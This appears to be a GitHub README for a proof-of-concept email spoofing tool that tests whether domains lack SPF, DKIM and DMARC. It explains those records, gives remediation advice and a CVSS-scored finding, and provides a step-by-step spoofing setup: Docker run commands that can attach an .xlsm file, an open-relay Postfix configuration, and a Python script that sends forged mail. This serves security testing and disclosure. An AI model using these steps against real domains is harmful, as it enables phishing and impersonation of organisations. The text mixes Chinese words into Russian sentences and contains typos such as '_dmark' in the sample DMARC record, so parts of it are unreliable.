IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module
GitHub: IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module
HydrAttack PoC eMail Spoofer Module 用于检测并演示因缺少 SPF/DKIM/DMARC 而导致的邮件伪造风险。
Stars: 32 | Forks: 9
# Модуль PoC eMailSpoofer HydrAttack
**Модуль PoC eMailSpoofer HydrAttack** предназначен для тестирования безопасности домена против атак подделки电子邮件. Он выполняет следующие шаги: проверка SPF & DMARC (модуль проверяет, настроены ли записи SPF и DMARC для целевого домена), попытка подделки (если домен не имеет надлежащих защит SPF и DMARC, модуль запускает веб-сервер и пытается отправить подделанные电子邮件 с этого домена) и верификация (проверяется доставка подделанного电子邮件 для оценки реального риска эксплуатации).
[](https://github.com/IvanGlinkin/media_support/raw/refs/heads/main/HydrAttack_Email_Spoofed_Module_POC.mov)
### Содержание
[Юридическое уведомление](#%EF%B8%8F-legal-disclaimer)\
[Что такое HydrAttack](#--what-is-hydrattack)\
[Как использовать: подробно](#detailed-instruction)\
[Как использовать: кратко](#short-instruction)\
[Риск отсутствия SPF/DKIM/DMARC](#the-risk-of-spfdkimdmarc-absent)\
[Описание отчета](#report-description)\
[Пошаговый отчет](#step-by-step-report)
### ⚠️ Юридическое уведомление
Это программное обеспечение и связанные с ним материалы предназначены исключительно для целей proof-of-concept (PoC) и исследований в области безопасности. Несанкционированное использование этого кода для реальных атак подделки, мошеннической деятельности или любых злонамеренных целей строго запрещено.
###
Что такое HydrAttack
Система управления внешней поверхностью атак HydrAttack — это инновационная платформа управления рисками, разработанная для выявления и снижения рисков веб-приложений совершенно новыми способами
### Как использовать
#### Подробная инструкция
1. Установите Docker (если уже установлено, пропустите этот шаг)
* для Ubuntu: официальный сайт: https://docs.docker.com/engine/install/ubuntu/
* для Windows: https://docs.docker.com/desktop/setup/install/windows-install/
* для MacOS: https://docs.docker.com/desktop/setup/install/mac-install/
2. Скачайте репозиторий на свой ПК
* Используя Git: `git clone https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module.git`
* Скачать ZIP: https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module/archive/refs/heads/main.zip
3. Перейдите в папку
* U/Linux: `cd HydrAttack-PoC-eMail-Spoofer-Module`
* Windows: `dir HydrAttack-PoC-eMail-Spoofer-Module`
4. Создайте образ (НЕ ЗАБУДЬТЕ О ТОЧКЕ (.) )
`docker build -t docker-hydrattack-poc-email-spoofer .`
5. Запустите контейнер
`docker run -it --rm -e DOMAIN=abracadabra.ahha -e SENDTO=your@email.com -e USERNAME=spoofed -e ATTACH=/app/attachment.xlsm -v ./:/app docker-hydrattack-poc-email-spoofer`
* USERNAME — имя отправителя, например *spoofed*@abracadabra.ahha
* DOMAIN — тестируемое имя домена, например *abracadabra.ahha*
* SENDTO — адрес电子邮件, куда отправить отчет, например *your@email.com*
* ATTACH — файл для вложения в电子邮件, например *attachment.xlsm*
#### Краткая инструкция
```
cd ~/Documents
git clone https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module.git
cd HydrAttack-PoC-eMail-Spoofer-Module
docker build -t docker-hydrattack-poc-email-spoofer .
docker run -it --rm -e DOMAIN=abracadabra.ahha -e SENDTO=your@email.com -e USERNAME=spoofed -e ATTACH=/app/attachment.xlsm -v ./:/app docker-hydrattack-poc-email-spoofer
```
### Риск отсутствия SPF/DKIM/DMARC
Каждый фрагмент кода, в частности, и каждое приложение в целом должно быть разработано безопасным образом, чтобы избежать ошибок, которые могут привести к конкретному нарушению или утечке. Электронные механизмы не являются исключением и также должны быть надлежащим образом защищены. В этой статье базы знаний рассмотрим основные механизмы аутентификации电子邮件, которые помогают нам не попасться на удочку и не быть обманутыми.
**Sender Policy Framework**, также известный как **SPF**, помогает проверить, что电子邮件 отправлен с авторизованного почтового сервера. Таким образом, владелец домена публикует запись SPF в DNS (систему доменных имен), указывая, какие почтовые серверы разрешены для отправки电子邮件 от имени домена. Когда приходит电子邮件, почтовый сервер получателя проверяет запись SPF отправляющего домена. Если电子邮件 поступает с авторизованного почтового сервера, он проходит SPF; в противном случае он не проходит SPF и может быть помечен как спам или отклонен.
#### Пример записи SPF:
```
• Type: TXT
• Name: @
• Data: v=spf1 ip4:192.168.1.1 include:_spf.yourmailserver.com -all
• TTL: 1 hour
```
Это означает, что только 192.168.1.1 и почтовые серверы вашегоmailserver имеют право отправлять电子邮件 для домена
**DomainKeys Identified Mail**, также известный как **DKIM**, — это метод аутентификации电子邮件, который позволяет получателю проверить, что电子邮件 действительно был отправлен заявленным отправителем и не был изменен в пути. Он делает это, добавляя цифровую подпись к电子邮件.
Владелец домена генерирует пару ключей, при этом открытый ключ публикуется в DNS домена в виде TXT-записи, а закрытый ключ хранится безопасно на отправляющем почтовом сервере.
#### Пример записи DKIM:
```
• Type: TXT
• Name: dkim._domainkey
• Data: v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQE... (public key)
• TTL: 1 hour
```
Когда отправляется电子邮件, почтовый сервер использует закрытый ключ для создания подписи DKIM, которая добавляется как специальный заголовок DKIM-Signature в电子邮件. Почтовый сервер получателя извлекает открытый ключ из DNS отправителя, который используется для проверки подписи DKIM. Если подпись совпадает,电子邮件 проходит аутентификацию DKIM.
**Domain-based Message Authentication, Reporting, and Conformance**, также известный как **DMARC**, строится на основе SPF и DKIM для обеспечения более строгой аутентификации电子邮件 и отчетности. Он позволяет владельцам домена указывать, как должны обатываться неудачные SPF/DKIM电子邮件 получателями.
Запись DMARC также публикуется в DNS, и если电子邮件 не проходит SPF или DKIM, почтовый сервер получателя следует политике DMARC:
```
• p=none: Take no action, just monitor
• p=quarantine: Mark as spam
• p=reject: Block the email entirely
```
#### Пример записи DMARC:
```
• Type: TXT
• Name: _dmark
• Data: v=DMARC1; p=reject; sp=reject; rua=mailto:reports@yourdomain.com; ruf=mailto:forensics@yourdomain.com; adkim=s; aspf=s
• TTL: 1 hour
```
Это означает, что все неудачные电子邮件 блокируются (p=reject), отчеты об атаке отправляются на указанные адреса (rua/ruf), и включается строгий режим, обеспечивающий точное совпадение подписей DKIM (adkim=s)
sp=reject — та же политика для ваших поддоменов
### Полная конфигурация безопасности:
1. SPF гарантирует, что电子邮件 поступает с авторизованного почтового сервера.
2. DKIM гарантирует, что电子邮件 не был изменен.
3. DMARC применяет политики на основе результатов SPF/DKIM и предоставляет отчетность.
### Описание отчета
#### Описание
Отсутствие записей SPF/DMARC позволяет подделать домен abracadabra.ahha.
#### Влияние
Отправка неавторизованных电子邮件 с домена компании — abracadabra.ahha, подмена их личности и содействие реализации атак подделки.
#### Рекомендация
Настройте записи SPF/DMARC с политиками, подходящими для домена:
```
v=spf1 include:mx.abracadabra.ahha -all
v=DMARC1; p=quarantine; sp=reject; rua=mailto:dmarc-reports@abracadabra.ahha; ruf=mailto:dmarc-failures@abracadabra.ahha; pct=100;
```
#### Угроза
Анонимный атакующий из Интернета
#### Оценка риска
```
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N = 5.3 Medium
```
### Пошаговый отчет
#### Шаг 1. Установка почтового сервера на Ubuntu
```
sudo apt update
sudo apt install postfix
```
Во время установки необходимо настроить следующие ключи:
```
General type of mail configuration? → Internet Site
System mail name? → abracadabra.ahha
```
#### Шаг 2. Настройка /etc/postfix/main.cf
```
smtpd_banner = $myhostname ESMTP
biff = no
append_dot_mydomain = no
readme_directory = no
compatibility_level = 3.6
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_tls_security_level=may
smtp_tls_CApath=/etc/ssl/certs
smtp_tls_security_level=may
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = abracadabra.ahha
myorigin = abracadabra.ahha
mydestination = localhost
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliase
relayhost =
mynetworks = 0.0.0.0/0
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all
smtpd_recipient_restrictions=permit_mynetworks,reject_unauth_destination
mynetworks=0.0.0.0/0
inet_interfaces = all
smtp_host_lookup=native
smtp_generic_maps = hash:/etc/postfix/generic
```
#### Шаг 3. Настройка файла /etc/postfix/generic
```
spoofed@abracadabra.ahha mail@abracadabra.ahha
```
#### Шаг 4. Изменение имени хоста
```
sudo hostnamectl set-hostname abracadabra.ahha
```
#### Шаг 5. Перезапуск postfix для применения изменений
```
sudo systemctl restart postfix
sudo systemctl enable postfix
```
#### Шаг 6. Создание скрипта send_email.py
```
import smtplib
from email.mime.text import MIMEText
msg = MIMEText("Spoofing abracadabra.ahha emails")
msg["Subject"] = "abracadabra.ahha spoofing"
msg["From"] = "spoofed@abracadabra.ahha"
msg["To"] = "mail@hydrattack.com"
server = smtplib.SMTP("127.0.0.1", 25)
server.sendmail("spoofed@abracadabra.ahha", "mail@hydrattack.com", msg.as_string())
server.quit()
print("Email sent!")
```
#### Шаг 7. Запуск скрипта — отправка подделанного电子邮件
```
python3 send_email.py
```
标签:DMARC, HydrAttack, Object Callbacks, PoC, SPF, Web服务器, 反取证, 域名安全, 域名防护, 外部攻击面管理, 安全评估, 暴力破解, 电子邮件欺骗, 电子邮件验证, 网络钓鱼, 请求拦截, 逆向工具, 邮件安全